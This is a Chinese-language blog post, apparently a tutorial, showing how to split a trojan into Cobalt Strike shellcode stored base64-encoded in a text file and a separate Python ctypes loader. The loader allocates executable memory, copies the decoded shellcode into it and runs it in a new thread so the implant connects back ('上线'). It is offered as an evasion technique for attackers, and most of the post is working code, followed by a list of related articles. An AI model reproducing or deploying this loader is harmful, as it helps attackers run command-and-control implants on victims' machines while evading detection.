无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
冰茶丿10 分钟前
嵌入式安全第一关:Secure Boot是怎么保护你的设备的?
嵌入式硬件·安全
长风2302 小时前
Day14: 极限异常演练 —— 验证系统韧性与错误告警生成
人工智能·安全
技术不好的崎鸣同学4 小时前
Windows 命令提示符(CMD)恶意脚本分析篇
网络·windows·安全·系统安全
Sagittarius_A*4 小时前
Docker:渗透前置容器化核心基础
运维·安全·docker·容器
孟郎郎5 小时前
AI 辅助开发编程敏感信息保护安全规范
人工智能·安全·ai·风险·隐患
iDao技术魔方5 小时前
Node.js v26.5.0 深度解读:import Text、流式 ReadableStreamTee、以及隐藏的安全加固浪潮
安全·node.js
SizeTheMoment6 小时前
Spring Cloud 微服务认证体系深度解析:从架构设计到安全实践
安全·spring cloud·微服务
小刘数字化7 小时前
告别爬塔危险:AR眼镜如何重构电力高空巡检安全标准
安全·重构·ar
txg6668 小时前
网络安全领域简报(2026年7月3日—10日)
安全·web安全·网络安全
数据库小学妹8 小时前
MySQL安全加固全流程:网络隔离、TDE加密、数据脱敏、等保合规7步实战
mysql·安全·数据脱敏·审计日志·安全加固·等保合规